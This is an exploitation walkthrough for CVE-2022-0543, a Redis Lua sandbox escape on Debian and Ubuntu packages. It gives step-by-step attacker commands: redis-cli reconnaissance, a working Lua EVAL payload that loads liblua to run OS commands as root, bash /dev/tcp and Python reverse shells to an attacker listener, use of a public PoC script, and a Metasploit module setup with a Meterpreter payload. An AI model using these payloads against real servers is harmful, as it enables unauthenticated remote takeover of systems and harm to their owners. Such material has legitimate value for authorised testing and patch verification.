Skip to content

CVE-2022-0543 – Redis Lua Sandbox Escape RCE

4 min read Created Mar 14, 2026 Last updated Mar 14, 2026

Debian and Ubuntu package Redis with a dynamically linked Lua library and failed to disable the package interface in the Lua sandbox. The package.loadlib function lets you load arbitrary shared libraries (specifically liblua) and call functions like io.popen to execute OS commands. This bypasses the Redis sandbox entirely from within a Redis EVAL call. No CONFIG access, no file writes, no module loading required.

Affects Redis on Debian Buster/Bullseye and Ubuntu 20.04/21.10 with Redis packages below the patched versions. Does not affect upstream Redis or non-Debian distributions.

CVSS score: 10.0: exploitable unauthenticated (or authenticated) remotely.

Prerequisites Check

1 - Confirm the target is Debian or Ubuntu:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep os

Output like os:Linux 5.15.0 x86_64 on a known Debian/Ubuntu target is a good indicator. Or check directly if you have any shell:

┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release

2 - Check Redis version:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version

Vulnerable versions:

  • Debian: redis < 5:6.0.16-1+deb11u2 or < 5:5.0.14-1+deb10u2

  • Ubuntu 20.04: redis < 5:6.0.9-1ubuntu0.1

  • Ubuntu 21.10: redis < 5:6.2.6-1ubuntu0.1

3 - Confirm EVAL is available:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return 1" 0

Must return (integer) 1, not an error.

4 - Confirm the Lua library path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return package.loadlib" 0

If this returns a function reference rather than nil, the package variable is accessible and the target is likely vulnerable.

Find the exact liblua path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return package.path" 0

Or from a shell on target:

┌──(kali㉿kali)-[~]
└─$ find /usr/lib -name "liblua*" 2>/dev/null

Common paths:

  • Ubuntu 20.04 x86_64: /usr/lib/x86_64-linux-gnu/liblua5.1.so.0

  • Debian Buster: /usr/lib/x86_64-linux-gnu/liblua5.1.so.0

  • ARM: /usr/lib/arm-linux-gnueabihf/liblua5.1.so.0

CVE-2022-0543 Redis Exploit: Test Command Execution

Verify the sandbox is escapable by running id:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"

If you see uid=... in the output, you have unauthenticated OS command execution.

Step 2 - Get a Reverse Shell

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Execute a reverse shell via the Lua escape:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c '"'"'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"'"'", "r"); local res = f:read("*a"); f:close(); return res' 0

Or use a Python reverse shell to avoid bash quoting issues:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("python3 -c \"import os,socket,subprocess;s=socket.socket();s.connect(('$LHOST',$LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh','-i'])\"", "r"); local res = f:read("*a"); f:close(); return res' 0

Step 3 - Use the PoC Script (Simpler)

Clone the public PoC for cleaner execution:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/JacobEbben/CVE-2022-0543
┌──(kali㉿kali)-[~]
└─$ cd CVE-2022-0543
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -c "id"

Reverse shell:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -c "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

For an authenticated target:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -t $TARGET_IP -p 6379 -a $PASSWORD -c "id"

Metasploit Module

┌──(kali㉿kali)-[~]
└─$ msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
set RHOSTS $TARGET_IP
set LHOST $LHOST
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set PASSWORD $PASSWORD
run

Note: Ubuntu Redis runs under systemd with MemoryDenyWriteExecute, which breaks staged Meterpreter. Use a stageless payload:

┌──(kali㉿kali)-[~]
└─$ set payload linux/x64/meterpreter_reverse_tcp

Why This Fails

  • Target is not Debian/Ubuntu: the vulnerability is packaging-specific

  • Redis has been patched: patched versions set package = nil in the Lua environment

  • package.loadlib returns nil: patch is applied

  • Wrong liblua path: adjust the path to match the installed version on the target

References